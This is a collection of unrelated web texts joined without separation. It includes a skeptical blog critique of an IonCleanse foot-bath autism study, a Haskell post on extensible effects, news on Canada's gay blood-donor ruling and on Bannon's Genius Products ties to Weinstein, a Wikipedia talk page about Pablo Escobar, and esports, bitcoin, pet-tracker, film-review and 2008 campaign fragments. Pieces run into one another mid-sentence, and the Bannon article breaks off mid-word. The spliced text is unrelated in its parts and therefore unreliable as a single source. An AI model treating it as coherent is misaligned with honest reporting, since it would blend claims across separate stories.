Data from the study will be collected at the study site, and provided to sponsor for data analysis. A simple analysis comparing pre procedure symptoms with post procedure symptoms will be performed, and a statically difference in measurement will be considered a success.
Let’s see. The bit about not being able to blind the parents or children is risible in the extreme, as it would not be that difficult to make a sham device that replicates the color change in the water in the control group. So, no, the blinding of the evaluators as to therapy/no therapy is not sufficient. Moreover, no study would ever pass institutional review board (IRB) muster (at least not with a decent IRB) without a decent plan for statistical analysis. Nothing resembling that exists here. Nor does anything resembling a plan to make sure that the two groups (control and IonCleanse) are comparable in terms of age, autism severity, comorbidities, etc., another very important basic part of any randomized clinical trial because if the groups aren’t comparable biases can creep in and affect the results.
Then there’s the issue of ethics. The common rule and federal regulations regarding the protection of human research subjects emphasize a higher standard to protect vulnerable populations, and children are a vulnerable population, particularly special needs children like autistic children. So what does AMD have to say about this? Not a lot:
The study is considered under FDA regulations as non-significant risk clinical trial. The trail will comply with FDA regulations by having the approval of a qualified Institutional Review Board.
Um, no. You don’t get to choose whether your study is a “non-significant risk” study. As the FDA points out, it is the IRB that determines whether a study is a “non-significant risk” study or not. I suppose I should be happy that this will be approved by an IRB, but given how antivaccine warriors like Mark and David Geier have set up their own IRBs to approve unethical studies, I’d be very interested in knowing what IRB AMD plans on using.
This study is a perfect example of what Harriet Hall likes to refer to as “Tooth Fairy science.” Basically, it’s doing research on a phenomenon before establishing that that phenomenon exists. As she likes to continue the analogy, you can measure how much money the Tooth Fairy leaves under the pillow, whether she leaves more cash for the first or last tooth, whether the payoff is greater if you leave the tooth in a plastic baggie versus wrapped in Kleenex. You can even get all kinds of good data that is reproducible and statistically significant. Yes, you think you have learned something. But you haven’t learned what you think you’ve learned, because you haven’t bothered to establish whether the Tooth Fairy really exists. In this case, it hasn’t been determined that these foot baths can pull toxins out of the body through the feet; quite the opposite, in fact. It also hasn’t been established that these unnamed “toxins” have anything to do with autism.
As I said early on, one of the surest indicators of quackery in a clinic is its inclusion of something like the IonCleanse foot bath. The purpose of this study isn’t really to determine efficacy or safety of the IonCleanse in treating autism. The design of the study virtually guarantees that it will find a positive result. That’s because it’s a marketing tool to produce more IonCleanse Ambassadors and sell more IonCleanse devices.Two failed attempts at extensible effects
After I had published The problem with mtl, many people wondered what my proposed solution was. If you, like them, are impatient to find out, feel free to peek at the slides from my kievfprog talk, or directly at the code on github.
Still, I’ll continue this series at my own pace. Today we’ll look at two failed solutions to the problem described in the previous article.
Free monads
The approach based on free monads, proposed in the original Extensible Effects paper by Oleg Kiselyov, Amr Sabry, and Cameron Swords, and implemented in the corresponding package indeed addresses our problem. My plan for ZuriHac was to revise its API and measure and possibly improve its performance.
I started the hackathon by writing a benchmark to compare different free monad implementations, to decide which one to use internally in the library.
The competing free monad implementations were:
The benchmark compared the performance of State -like monads implemented on top of each free monad. I also added a plain State from the transformers package to this comparison.
What surprised me most was not the relative performance of different representations, but how the State monad implemented through free monads did relatively to the State from transformers.
The free monad based State consistently performed up to two orders of magnitude slower than the transformers’ version. And the free monad version was essentially Free State, even without the Typeable -based open unions (which certainly carry an overhead of their own).
Thus, it became clear that if an extensible effects library is to perform well, it has to be based on raw transformers, not free monads.
mtl
If, as I wrote in the previous article, the functional dependency is an issue in mtl, can we simply get rid of it?
Well, we could, but that by itself wouldn’t help much. You see, mtl’s classes work by having instances that lift, say, MonadState actions through ReaderT, WriterT, and other transformers known to mtl:
In order to make multiple MonadState instances work, we’d have to write a similar instance for lifting MonadState through StateT itself. But in that case GHC would become confused: it wouldn’t know whether to lift a given get through a StateT, or attempt to execute it right there. It just isn’t smart enough to make a decision based on the type of the StateT ’s state.
My solution to this problem is exactly to teach GHC to make such a decision. We’ll see how it works in the next article.By By Carolyn E. Price Sep 9, 2010 in World An Ontario Superior Court judge has decided to come down on the side of safety with her decision to uphold the ban by the national blood supplier on gay or bisexual men donating blood. CBS had sued 36-year-old Kyle Freeman for " Freeman had argued that the question on sexual orientation violated his constitutional right to equal treatment and also that the CBC policy further "perpetuated" the Canadian public's belief that all gay men must have HIV and/or AIDS. In her written judgment, Ontario Superior Court Judge Catherine Aitken, sided with the CBS citing many issues, the foremost being the safety of Canada's blood supply. Excerpts from Aitkins 187-page I accept that as individuals, many gay and bisexual MSM (men having sex with men) may experience a loss of dignity, a feeling of marginalization, a sense of disappointment, and a sense of injustice when denied the opportunity to give blood, and these reactions may be all the stronger and more poignant due to the history of discrimination experienced by gay and bisexual men. These are significant ramifications on the quality of life. That impact, however, is not in the same league as a blood recipient who has to use blood or blood products in order to survive or make life livable, and who is asked to accept lower safety standards even though an adequate supply of blood could be provided if higher safety standards were imposed. They also have a history of the system failing them. And if the system fails them again, their lives may be on the line. The judge also held Freeman liable for $10,000 to the blood bank. The Canadian AIDS Society, CFS and Egale Canada issued a The Executive Director of the Canadian AIDS Society (CAS), Monique Doolittle-Romas, is quoted as saying: Although the judge agreed with us that there is no evidence to justify the current deferral period being used, which applies to any man who had sex with another man even once since 1977, the court refused to order a change. It was also disturbing that the Court saw this as a contest between safety and gay rights. In fact, we know through our work in HIV/AIDS that the only strategies that work are the ones that respect human rights. The Chief Executive Officer of CBS, Dr. Graham Sher, was scheduled to respond to the ruling today at an 11 a.m. A gay Toronto man has lost his Charter of Rights and Freedoms defense that he did not have to tell the Canadian Blood Services that he was gay when giving blood.CBS had sued 36-year-old Kyle Freeman for " negligent misrepresentation " after the gay man concealed his sexual identity on the standard blood donor form, the CBC reports.Freeman had argued that the question on sexual orientation violated his constitutional right to equal treatment and also that the CBC policy further "perpetuated" the Canadian public's belief that all gay men must have HIV and/or AIDS.In her written judgment, Ontario Superior Court Judge Catherine Aitken, sided with the CBS citing many issues, the foremost being the safety of Canada's blood supply.Excerpts from Aitkins 187-page decision The judge also held Freeman liable for $10,000 to the blood bank.The Canadian AIDS Society, CFS and Egale Canada issued a statement saying they were "very disappointed" with the court's decision.The Executive Director of the Canadian AIDS Society (CAS), Monique Doolittle-Romas, is quoted as saying:The Chief Executive Officer of CBS, Dr. Graham Sher, was scheduled to respond to the ruling today at an 11 a.m. presser in Ottawa, ON. More about Gay, Bisexual, Blood donations, Ontario More news from gay bisexual blood donations ontarioAnd the huge, ongoing fraud lawsuit that accuses Weinstein of using Bannon's old company — and ESPN, WWE, Discovery and others — as a piggy bank.
In the week since bombshell allegations against film mogul Harvey Weinstein became public, the Breitbart website has been all over the scandal as an opportunity to showcase liberal hypocrisy in Hollywood. One thing missing from its coverage, though, is the role that its executive chairman Steve Bannon once played for Weinstein. In fact, their business relationship continues to have relevance not only because it shows how Bannon once profited off of Weinstein's endeavors, but also because it is the subject of an ongoing fraud lawsuit that will now have to be fought by a divided Weinstein clan.
Twelve years ago, long before Bannon helped Donald Trump overcome groping claims to become president, he was the chairman of a company called Genius Products. The year was 2005, and when Weinstein and Bannon crossed paths, it was a particularly important time for the movie mogul. Weinstein had just separated from Disney and was launching The Weinstein Co. And he was searching for financing.
According to a proxy statement that Genius once filed with the SEC, about a month after Bob and Harvey Weinstein and Disney jointly announced the termination of their employment contracts, Bannon and Genius CEO Trevor Drinkwater met with representatives of Goldman Sachs — where Bannon once worked as an investment banker. They discussed the possibility of Genius Products as an alternative independent distributor for the Weinsteins' new company. In a story that ran in The New Yorker earlier this year that recounted Bannon's time in Hollywood, Drinkwater nodded to this meeting in an interview. “Goldman Sachs was raising the money for The Weinstein Co., and Steve called one of his buddies at Goldman,” said Drinkwater.
In recent days, Bannon has privately told people that his business with Weinstein is much ado about nothing because Genius came to distribute DVDs for about 50 companies.
But any playing down of the relationship is belied by some inconvenient facts. For one thing, after a series of additional meetings that year between Bannon and Drinkwater on one side and the Weinsteins and other TWC management on the other, an agreement was hatched that gave TWC a 70 percent stake in Bannon's old company. Also, for a short time, Genius was registered as The Weinstein Company Funding LLC and operated as a subsidiary, according to more court and SEC filings.
The Weinsteins might have been enticed by Bannon's company offering to distribute its product in home markets at distribution fees much less than what was being charged by other Hollywood giants. And for a while, the partnership appeared to be working and was generating increasing curiosity. For example, a 2007 Fortune story discussed how Wall Street was "starting to buzz" about Weinstein's interest in Genius, and it quoted Bannon as boasting how the company had grown from $32 million in revenue to around $800 million. A few days after that article appeared, The New York Times ran a story headlined, "Using Genius, Are the Weinsteins Plotting an I.P.O.?"
Genius indeed was eyeing a public offering. In 2007, the company executed a reverse stock split so it could meet the minimum $5 share price to be listed on NASDAQ, only to be sued in Delaware by a shareholder who traded the company's stock in over-the-counter markets. The plaintiff claimed that the reverse stock split was to the detriment of existing shareholders, and the litigation caused the stock price to sink low enough that Genius had to abandon its ambitions.
Meanwhile, Genius picked up other customers, including ESPN, Discovery and Sesame Street. Press releases spoke highly of the future. For example, when World Wrestling Entertainment entered into a multiyear agreement with Genius in 2006, Vince McMahon stated, "Home entertainment is a major part of the WWE’s business, and we believe we have found in Genius a company that understands our brand and will help us continue to drive our company’s growth. Bob and Harvey Weinstein have a tremendous track record. We’re excited about this partnership and its long-term potential."
But things might not have been totally hunky dory for Genius under the stewardship of Bannon and Drinkwater, a former executive at Warner Bros.
As revealed in a March 17, 2008, earnings call, The Weinstein Co. was still responsible for more than half of Genius' revenue despite efforts to diversify. And the terms may have been wanting. "We're continuing discussions with the Weinsteins and other content partners to... improve the deals. Then when we have something, we'll get right back to you guys," Bannon told inquiring analysts.
The cause of the collapse of Genius — which earned Bannon more than $450,000 in consulting fees as well as stock in the company — remains somewhat of a mystery.
Certainly, as digital distribution became bigger and bigger, the DVD business wasn't the smartest place to be for an upstart company. And its relationships with other entertainment partners weren |
to the article. Lots42 (talk) 01:09, 6 February 2010 (UTC)
What would have Escobar become if he had not been a drug-lord [ edit ]
What would he have been? Would he even have been this famous?
what kind of stupid question is this? he's famous for being a criminal; of course he wouldn't have been as famous if he wasn't a drug lord —Preceding unsigned comment added by 173.74.8.173 (talk) 17:22, 7 July 2010 (UTC)
Any thought about adding a section about Escobar's involvement with Colombia's Athletico National soccer team? He used the team to launder drug profits and some say to even move drugs. —Preceding unsigned comment added by 164.156.110.102 (talk) 14:47, 10 July 2010 (UTC)
was his net worth $9 billion at his height or $25 billion?...both are noted...big difference —Preceding unsigned comment added by 69.171.160.149 (talk) 03:22, 26 July 2010 (UTC)
The photo showing the dead Escobar [ edit ]
The dead Escobar photo shown is ubiquitous around the World Wide Web. Yet, there is no doubt that there has been substantial editing done to the photo. Look at the roofing tiles at the bottom of the picture. Two of the tiles are identical, meaning they were copied from one portion to of the picture to another.
If some of the photo is "doctored", that leads me to question the authenticity of the entire photo.
---Tom Nally, New Orleans — Preceding unsigned comment added by 157.50.50.2 (talk) 00:16, 11 September 2011 (UTC)
Agreed, is there a different picture that it can be replaced with? Meatsgains (talk) 21:50, 30 October 2011 (UTC)
Issue of National debt payment [ edit ]
The opening paragraph of his article states; "He attempted to enter Colombian politics, even offering to pay off the nation's US $10 billion national debt". I believe it should be noted that he didn't offer to pay the national debt as a ploy to get into politics. Instead, it is believed that he offered to pay off the country's debt after he fled to Panama - after his men killed Rodrigo Lara Bonilla, the then Minister of Justice, and the Colombian authorities attempted to go after him. After he was visited by former president Alfonso López, the speculation was that they'd struck a deal; that Escobar would pay off the national debt in an exchange for not being for prosecuted for his crimes. That said, Escobar's own son, Sebastian, claims that the whole thing is a complete myth. It is discussed around the 20 minute mark of this documentary... http://www.channel4.com/programmes/my-father-pablo-escobar/4od...I'm not sure how the paragraph should changed, but I think the statement "even offering to pay off the nation's US $10 billion national debt" should at least be qualified.
46.208.42.237 (talk) 20:42, 24 September 2011 (UTC)
true enough, he had already won a successful entry into colombian politics long before they decided to go after him for the multiple assassinations, and it was after *that* when he offered to pay the debt. but long before that he won a seat in colombian congress. 74.102.158.68 (talk) 19:28, 1 February 2012 (UTC)
File:Pablo escobar.jpg Nominated for speedy Deletion [ edit ]
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Successful was not the best word [ edit ]
Changed the part where it said "rich and successful criminal" to just "rich criminal"... To write "a successful criminal" may be misleading, being a criminal is not something to be evaluated with standards tha define a "successful or failed" criminal... Wikipedia should not endorse any criminal or any criminal act with qualifiers... — Preceding unsigned comment added by MLearry (talk • contribs) 12:41, 14 October 2012 (UTC) It could be added that "Shot to death on a rooftop attempting an escape from a very large coalition of local and federal police forces at age 44" cannot be called successful.
Well, "success" is an objective term, not one of moral approbation. Thus Al Capone and Escobar were successful in material terms until their downfall. — Preceding unsigned comment added by 99.196.62.42 (talk) 20:44, 19 January 2017 (UTC)
Plagiarism [ edit ]
A fair amount of this text is taken, word for word, from reference 10 - the daily Record article. 24.92.181.168 (talk) 05:23, 10 December 2012 (UTC)
WAS HE THE RICHEST DRUG DEALER IN THE WHOLE WORLD?.AND WHAT WAS HIS TOTAL AMOUNT OF MONEY?. — Preceding unsigned comment added by 41.223.84.34 (talk) 06:42, 24 July 2013 (UTC)
Only corpse pics of Escobar? [ edit ]
why there is "especially" used only photos of Escobar's corpse? Is there any intention to describe him like this? I think he has too many "normal" pics whic is taken when e was alive.please just try to be polite.--88.255.183.34 (talk) 09:39, 12 November 2013 (UTC)
This article reads like it's about a television character [ edit ]
It reads like the bio of a fictional character, not a real human being. — Preceding unsigned comment added by 199.195.162.227 (talk) 08:51, 4 December 2013 (UTC)
Escobar's picture in this article [ edit ]
The main picture in this article is not of Pablo Escobar. It belongs to a series called "Pablo Escobar, el Patrón del Mal", and depicts actor Andrés Parra's impersonation of the druglord. Please revise. — Preceding unsigned comment added by 190.111.216.58 (talk) 19:28, 3 January 2014 (UTC)
+1 — Preceding unsigned comment added by Guidofd (talk • contribs) 21:43, 4 January 2014 (UTC)
Who were Pablo's Henchmen and are there any stories of them? [ edit ]
I really want to know this, I'm looking for people that were in contact with him and had there own lives, but who were they really? I want to know for a TV Series screenplay.
Numbers aren't coherent [ edit ]
In the section "Criminal Career", in the first paragraph, it says that "At the height of its power, the Medellín drug cartel was smuggling fifteen tons of cocaine a year"
Fifteen tons a year. Then, 3 paragraphs later :
" At the peak of his power in the mid-1980s, he was shipping as much as eleven tons per flight in jetliners to the United States (the biggest load shipped by Pablo was 23,000 kg mixed with fish paste and shipped via boat, as confirmed by his brother in the book Escobar)."
11 to 23 tons per flight. Check your sources, please. — Preceding unsigned comment added by 88.172.97.119 (talk) 17:32, 27 August 2014 (UTC)
Relation to Griselda Blancho [ edit ]
Think at the every least, this article should clarify Escobar's relation to Blancho or make clear that Escobar was sort of a small time guy when Griselda Blancho was doing her thing in Miami. — Preceding unsigned comment added by 70.79.143.139 (talk) 03:34, 28 January 2015 (UTC)
Lead image? [ edit ]
I don't understand why this article doesn't have a quality portrait of Pablo. Given how central he is to Colombian politics and culture in the last 40 years, the extensive body of popular media devoted to telling his story, and that he pretty much embodies the archetype of the Latin American drug kingpin, it seems that in a rational universe we would be able to find for the infobox a reliably sourced photograph of him at his peak... this article absolutely needs one. I understand there have been some issues with copyright infringement for previously uploaded Pablo pics, so I'm wondering what I can do to help provide a reliable image. I see plenty of sources for images of Pablo's face all over the Internet - he's quite recognizable - and I wonder if I am missing something. Is there a reason this article is not using any of these photos? What about the classic smiling mugshot? Surely one of them must be free to the public, for use in wp. I'd really like to improve this article with at least an introductory image (and maybe more), but I'm hesitant to make changes that have been controversial in the past without knowing more, so please let me know what I can do to help! PJsg1011 (talk) 04:35, 23 November 2015 (UTC)
"Height of Power" section has many problems & is missing citations [ edit ]
The "Height of Power" section consists of mostly unsubstantiated claims, many of which portray Escobar in a favorable light. For example "Escobar was a hero to many in Medellín (especially the poor people)" and "he was a natural at public relations and he worked to create goodwill among the poor people of Colombia."
Contrary to the claim that he was a hero, at the height of his power Escobar committed acts of "narcoterrorism" including the bombing of a plane (with 130+ civilians on-board) and kidnappings and "disappearances" of innocent, prominent Colombian civilians.
This section either needs to be resolved to reflect a more balanced and fact-based portrayal of Escobar's criminal life, or needs to be removed.
18:12, 8 December 2015 (UTC) — Preceding unsigned comment added by Seankuus (talk • contribs)
Misuse of the word "eponymous" [ edit ]
In the Film section of Popular depictions, an editor wrote "Killing Pablo (2011), in development for several years and directed by Joe Carnahan, is based on Mark Bowden's eponymous 2001 book," clearly missing the meaning of the word "eponymous," using it instead as a synonym of the phrase "of the same name." This seems to be extremely common now on Wikipedia.
I could be wrong though, Mark Bowden's book about killing Pablo Escobar could very well be called "Mark Bowden." Figuring that to be highly unlikely though, I fixed it.
— Preceding unsigned comment added by 205.156.136.229 (talk) 14:55, 27 May 2016 (UTC)
Eponymous would mean it was named after him. Emir of Wikipedia (talk) 18:59, 23 September 2016 (UTC)
Grand Theft auto [ edit ]
I think this is a USA/common law specific term that should not be used when speaking about Latin American countries. The Colombian legal term for this is simply "hurto de automotores" or Motor vehicle theft, the distinction between "grand and petty" not being used. Soparamens (talk) 23:28, 20 September 2016 (UTC)
Semi-protected edit request on 5 March 2017 [ edit ]
movie Escobar - Paradise Lost (2014) 175.157.220.180 (talk) 17:52, 5 March 2017 (UTC)
Not done: it's not clear what changes you want to be made. Please mention the specific changes in a "change X to Y" format. JTP (talk • contribs) 01:49, 6 March 2017 (UTC)
Ancestry [ edit ]
Pablo Escobar Gaviria is of Basque descent.Please add in Category:Colombian people of Basque descent Gaviria and Echeverri are Surnames of basque origin — Preceding unsigned comment added by WikiPrint (talk • contribs) 22:08, 17 May 2017 (UTC)
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THE KILLINGS OF SBONDO [ edit ]
Well, It all happened on a faitfull afternoon on Saunday the 10th of June!
He was walking down a hill untill suddenly he got attacked by someone (Dan). He gotinto a fistfight and took out his AR by accident. He shot his in the leg by accident ;(. Dan then proceeded to take out his shotgun and shot him in the face. the scene was brutal!! — Preceding unsigned comment added by Sbondo1234 (talk • contribs) 18:08, 11 June 2017 (UTC)
Moving "Personal life" section above "Death" section. [ edit ]
I'm just putting it here before I get yelled at. It makes more chronological and encyclopedic sense, in my opinion, that "Personal Life" be placed before "Death" instead of between Death and "Aftermath of his death".Trillfendi (talk) 00:33, 30 September 2017 (UTC)
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Virginia Vallejo's Testimony - Unclear Implication [ edit ]
The last two sentences of the last paragraph of "Virginia Vallejo's Testimony" read:
"On 24 July, a video in which Vallejo accused Santofimio of instigating Escobar to eliminate presidential candidate Galán was aired on Colombian television. This video was key in helping Santofimio gain exoneration, as well as a lack of evidence being present in the original trial."
The second sentence goes completely against the whole gist of the subsection actually. Is it because of the "lack of evidence" and circumstantial nature of her testimony? And this being the only evidence that this video "helped" Santofimio? If so, it should be clarified and a different word than "helped" used maybe? Idk, I could be missing something. Cornelius (talk) 02:56, 17 December 2017 (UTC)
Semi-protected edit request on 24 January 2018 [ edit ]
Change from: Penguim Random House
Change to:
Penguin Random House Stuntpope (talk) 15:35, 24 January 2018 (UTC)
Done Thanks for pointing that out - Arjayay (talk) 16:39, 24 January 2018 (UTC)
Semi-protected edit request on 12 May 2018 [ edit ]
I want to change the image of pablo escobar. Yash0514 (talk) 09:22, 12 May 2018 (UTC)
Not done: it's not clear what changes you want to be made. Please mention the specific changes in a "change X to Y" format and provide a reliable source if appropriate. L293D (☎ • ✎)
Semi-protected edit request on 23 August 2018 [ edit ]
Pablo's mothers name is Hermilda and not Hemilda.
Thanks 77.249.106.57 (talk) 00:57, 23 August 2018 (UTC)
Not done: please provide reliable sources that support the change you want to be made. Existing sources give her name as "Hemilda", e.g. [1]. General Ization Talk 00:59, 23 August 2018 (UTC)
Corpse photo [ edit ]
Are there other usable photos of Escobar's death? It somewhat bothers me that this particular image has obviously been tampered with somewhat, whereas other photos of the event appear to be untouched. If you don't know what I mean, zoom in and look under Pablo's body. The two tiles have identical blood splatters. I don't know if anything else was edited in the image (the shadows look suspect) and it was probably for a reason such as avoiding gore or making it more presentable, but it still seems unnatural to me to use an edited photograph so prominently. Prinsgezinde (talk) 23:03, 29 August 2018 (UTC)
Claim of illegitimate son [ edit ]
In October 2018, the BBC website included a story from a man called Phillip Whitcomb who claims he is the eldest child of Pablo Escobar. At 53 years of age in 2018, he would have been conceived when Escobar was 15-16 years old if true. https://www.bbc.co.uk/news/av/uk-england-hereford-worcester-45746292/pablo-escobar-s-lovechild-on-life-at-english-boarding-school — Preceding unsigned comment added by 86.151.191.129 (talk) 14:51, 7 October 2018 (UTC)
Typos and strange uncited claim [ edit ]
There's a few typos and this random uncited contribution that is immediately discredited in the same article : "Henao is now believed to be living under an alias in North Carolina.[citation needed] This is completely false: María Victoria Henao de Escobar, with her new identity as María Isabel Santos Caballero, continues to live in Buenos Aires with her son and daughter.[69]" NadiraJames (talk) 00:10, 9 October 2018 (UTC)
Semi-protected edit request on 17 November 2018 [ edit ]
FriedLev (talk) 20:09, 17 November 2018 (UTC)
Add in Category: Colombian people of Basque descent. He had a huge amount of Basque blood.On July 26th (KST), SK Telecom T1 defeated Ever8 Winners 2-0 on the 37th day of 2017 LCK Summer Split. Junsik "Bang" Bae and Sanghyuk "Faker" Lee were chosen as the MVP of Game 1 and 2 respectively and was interviewed on air by OGN.
In the interview, Bang shared how he has never felt this strange about winning ever before, but was relieved that the team is finally getting better after going through difficult times. (For reference, SKT T1 was on a 9-game losing streak ever since their defeat in the finals of Rift Rivals.)
After their win against Ever8 Winners, Junsik "Bang" Bae concluded the OGN interview with an apology for a comment that he made on his stream.
He said, "I recently said something very wrong that hurt many people. It was something that I shouldn't have said as a professional League player... it made a lot of people disappointed in me. I'm ashamed that I didn't know this earlier, and I'm really reflecting upon myself for what I've done wrong and I'll continue to do that for a long time. Since I'm a pro player, I'll try to repay my fans with better performance and make amends for what I've done. I'm very sorry."
While SKT T1 managed to break their losing streak, they are still in the middle of the pack in the LCK standings, and they will have to face KT Rolster - currently running strong at second place - near the end of the split. With Wildcard match of Playoffs at stake, SKT T1's final result of this split still remains to be seen.But bitcoin's potential as a money-laundering tool threatens to outweigh its benefits in the eyes of regulators.
"What we don't want is to have a world where bitcoin and virtual currency is a safe haven for those who are committing illicit activities," Lawsky said.
"If the choice ultimately is between preventing money laundering on the one hand or permitting innovation on the other, we're always going to choose squelching money laundering first," he said. "The question is whether we can get somewhere in between and feel very comfortable that we are preventing money laundering while enabling innovation."
(Read more: How I mined for bitcoins)
Lawsky pointed to the arrest Tuesday of the CEO of a bitcoin exchange who is accused of participating in a money-laundering scheme as an example of what regulators are looking to avoid.
But the entire system shouldn't be held back because of a few bad players, panelists said.
"Are people still doing bad things with bitcoin? Sure. Is the majority of its use this kind of activity? Not a chance," Wilson said. "I think people do dumb things, but I don't think the vast majority of people who are using and spending bitcoin are doing dumb things."
—By CNBC's Cadie Thompson. Follow her on Twitter @CadieThompson.Japanese banking giant Mizuho Financial Group is nearing completion of a pilot project that utilizes the bitcoin blockchain for securities transfer.
First announced last year as a proof of concept (PoC) built with bitcoin’s open asset protocol, the project is now approaching a possible launch, CoinDesk has learned.
While details remain under close protection, the head of Mizuho’s Incubation Project, Ikuma Ueno, explains that the experiment to transfer securities between banks has picked up steam since the company invested in Japan’s largest bitcoin exchange, bitFlyer, earlier this year.
Ueno positioned the effort to use the permissionless bitcoin blockchain within the bank’s larger push to understand how all blockchains and distributed ledger systems, including Corda, Fabric and Ripple, can better serve its customers.
Ueno told CoinDesk:
“We’re not just drilling down to consortia types or private types. We have to look at the public blockchain as well. This investment is for us to engage with the public blockchain.”
Originally announced last March, the bitcoin PoC effort saw Mizuho pair with Japanese IT giant Fujitsu to build a streamlined financial system that could reduce risks related to securities price fluctuations and the solvency of counterparties. Bitcoin’s open asset protocol (OAP) is designed for deploying non-currency assets on the public blockchain.
The work is notable in that it coincides with a rise in skepticism among some that only permissioned distributed ledgers can be compliant with financial regulations.
Japanese financial institutions have recently taken a lead in this push into public blockchains, with foreign exchange players expected to launch cryptocurrency products later this year.
Ueno said of the bitFlyer investment: “Capital gains is one of the objectives. But the other is to get in touch with the public blockchain.”
Citing a non-disclosure agreement, BitFlyer CEO Yuzo Cano declined to comment further on the work.
Big on blockchain
Still, Mizuho’s bitcoin project is just one of at least three ‘underground’ projects currently being developed by its Incubation Team.
In total, Ueno says there are now 10 projects at various stages of development using Ripple, Hyperledger’s open-source Fabric platform and R3’s Corda platform.
Of the blockchain projects Ueno was allowed to discuss, he said work is being done in custody, syndicated loans, trade finance, KYC and AML and cross-border payments. The most advanced of these projects appears to be Mizuho’s work with Ripple to connect its global branches: 400 of which are in Japan and about 80 of which are elsewhere around the world.
The project was initially delayed when Mizuho learned the four branches it selected for the project in Europe, Asia, the US and Europe required additional training on Ripple’s tech. (Details about the test are expected in April.)
While Ueno confirmed the Ripple system is providing real-time payments, he added there have been legal and regulatory difficulties to leveraging the technology.
“That’s something we have to overcome to implement,” he said.
Another project using Fabric to let customers send one another cash was described more as experimental.
“We haven’t executed that to being a product yet,” he said.
Behind the blockchain veil
In addition to blockchain, Mizuho’s Incubation Project Team researches other experimental fintech applications built using AI, cloud storage and more.
From its founding in July 2015, when Ueno was the first and only team member, the group has grown to 30 employees managing more than 80 projects, according to the strategist’s own count.
In the early days of his internal work, Ueno says much of the team’s time was dedicated to educating Mizuho’s employees.
As the bank’s internal understanding has matured, however, the work has shifted to focus on building relationships between the technicians and the bankers in the various departments to help conceive ways blockchain could make their tasks easier.
“This technology is like the internet,” said Ueno. “It can be used in any cases. That was the incentive of me getting deep in this technology.”
In addition to being a member of R3, Mizuho was one of 42 local and regional banks in Japan to join the Japan Bank Consortium co-launched by Ripple and SBI Holdings. So far, though, Mizuho has opted not to formally join either of the platform agnostic blockchain consortia aimed specifically at Japan.
Instead of working with BCCC or JBA, Ueno says Mizuho participates in more informal ‘alliances’ with Mitsubishi UFJ, Sumitomo and others.
He concluded:
“We do a lot of round-table discussions, we bring out our own projects to that table and discuss the platform, the technology, and how this can replace the current legacy system.”
Disclosure: CoinDesk is a subsidiary of Digital Currency Group, which has an ownership stake in BitFlyer.
Mobile yen image via Shutterstockpod, gps, orange, Petbarn, Sebastian Langton
IF you have ever spent hours driving or walking around Orange searching for your pet, the latest in doggie and moggie tracking technology could save the day. Pet owners can track their animals with the help of a small GPS device attached to the pet’s collar and synchronised with a smartphone. “Wherever there is reception you can follow where your dog has gone,” Petbarn Orange manager Jason Ribbon said. “There are a lot of people out there who may find their dog has got away from them. “Wherever there is phone coverage you can track your pet, it’s a great invention.” Mr Ribbons said after a pet-owner synchronised their smartphone with the device, a map showed up on the phone pinpointing the location of a lost pet. “The map is very similar to the in-car GPS systems,” he said. The new Pod tracker for pets was created by Australian Sebastian Langton, who lost his cat and, when he researched the topic, found one in three pets went missing in their lifetime. Unable to finance the development of a prototype for the GPS device himself, Mr Langton turned to social media and crowdfunding. He received a huge global response, clearly from pet owners wanting to curb the adventures of their errant pets. The devices have been available to purchase on the internet in the past, however, now people can buy this device over the counter. Mr Langton will launch his invention in the United States, United Kingdom and Europe in 2016. janice.harris@fairfaxmedia.com.au
https://nnimgt-a.akamaihd.net/transform/v1/crop/frm/storypad-35DGTwqtRAw3RmzrxRCkyVz/02671080-cda5-47be-86d4-a67fa6bb158c.JPG/r10_105_4277_2516_w1200_h678_fmax.jpgThis month sees the launch of the Asia House film festival in London, with screenings of popular and under-the-radar Chinese movies at cinemas in Ham Yard, Regent Street, London’s Cinema Museum and Asia House itself, which happily means I got to spend my the weekend immersing myself in Asian cinema, taking in everything from Kazakhstani thrillers to Korean Teen Romance.
First up, sharp-shooting thriller Khenzhe.
Khenzhe (Or ‘Little Brother’, to give it it’s less intriguing English title) is an odd beast. On the face of things we’re firmly planted in 90s thriller country. Two young brothers (who remain nameless throughout the film) are orphaned and left to fend for themselves. Eschewing a life of petty crime in the countryside, they head for the city for… well, a life of less-than-petty-crime. One becomes a mob boss, the other, a hitman.
In the wrong hands it could be turgid, run of the mill stuff, but Tursunov is getting at something deeper here, and rather than a basic thriller, we’re treated to an exploration of how the city can chew people up and spit them out, and how violence begets itself.
It’s fascinating to watch something that should be so familiar through an entirely unknown cultural lens. The action is fun but seems slowed down in a genre where jump-cuts and overcranked cameras are the norm, but it’s no less effective, and allows the director to add some flourishes of humour throughout that keep things from becoming too portentous (one hit involving a kebab skewer nicked from a street food stall is particularly effective).
Another thing that struck me is how quiet everything is, with the background noises taking the place of music for the most part. Things begin to build as another hitman (or in this case, hitwoman – here played by Russian actress Olga Zaytseva) appears on the scene. Our nameless hero’s bosses are worried that he’s becoming disinterested, causing a convoluted plot to roll into motion that culminates in one brother taking the other’s young son hostage – cue a (slightly subdued) roaring rampage of revenge.
It’s not a brilliant film, but it is an interesting one, with fun action pinning down larger themes with a subtlety that Hollywood thrillers often struggle with. It would benefit from slightly better subtitles, but in a movie where so much is communicated through inference and gesture it isn’t a huge issue. There’s a lot of moving parts here, and the fact that they all keep rolling along is testament to the skill of the writer. 3/5
Little Brother was shown as part of ASIA HOUSE FILM FESTIVAL, which takes place from 22 February to 5 March at London venues. Tursunov’s much-anticipated ‘Stranger’ is also showing this week. Find out more and grab tickets over at the Asia House site.
Author: Matt Owen Date: 2016-02-29 Title: Khenzhe (Little Brother) Rating: 3Bill Burton, a spokesman for the Obama campaign, which has refrained from engaging Mrs. Clinton in recent days, said her statement “was unfortunate and has no place in this campaign.”
Privately, aides to Mr. Obama were furious about the remark.
Concerns about Mr. Obama’s safety led the Secret Service to give him protection last May, before it was afforded to any other presidential candidate, although Mrs. Clinton had protection, too, in her capacity as a former first lady. Mr. Obama’s wife, Michelle, voiced concerns about his safety before he was elected to the Senate, and some black voters have even said such fears weighed on their decision of whether to vote for him.
It was against that backdrop that Mrs. Clinton’s mentioning the Kennedy assassination in the same breath as her own political fate struck some as going too far. Representative James E. Clyburn of South Carolina, an uncommitted superdelegate, said through a spokeswoman that the comments were “beyond the pale.”
The speed at which the remarks were transmitted and reacted to illustrated the new reality candidates are grappling with in this year’s campaign, in which Mr. Obama’s own remarks about “bitter” small-town voters ricocheted around the Internet.
